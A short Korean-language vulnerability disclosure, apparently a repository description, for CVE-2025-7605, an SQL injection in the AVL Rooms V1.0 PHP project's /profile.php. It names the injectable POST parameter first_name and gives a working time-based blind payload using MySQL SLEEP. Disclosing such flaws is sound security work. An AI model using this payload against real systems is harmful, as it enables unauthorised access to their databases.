sunhuihi666/cve-2025-7605AVL Rooms V1.0의 SQL 인젝션 취약점(CVE-2025-7605)에 대한 개념 증명 익스플로잇입니다. /profile.php 엔드포인트를 대상으로 하는 시간 기반 블라인드 페이로드를 포함합니다.
code-projects AVL Rooms Project V1.0/profile.php SQL 주입
AVL Rooms
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/
dazhi
/profile.php
V1.0
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/
매개변수: first_name (POST)
유형: 시간 기반 블라인드
제목: MySQL >= 5.0.12 AND 시간 기반 블라인드 (쿼리 SLEEP)
페이로드: first_name=1111' AND (SELECT 9037 FROM (SELECT(SLEEP(5)))RgOn) AND 'Tnsa'='Tnsa&last_name=1111&[email protected]&mobile_number=1111111111&city=11&state=11&action=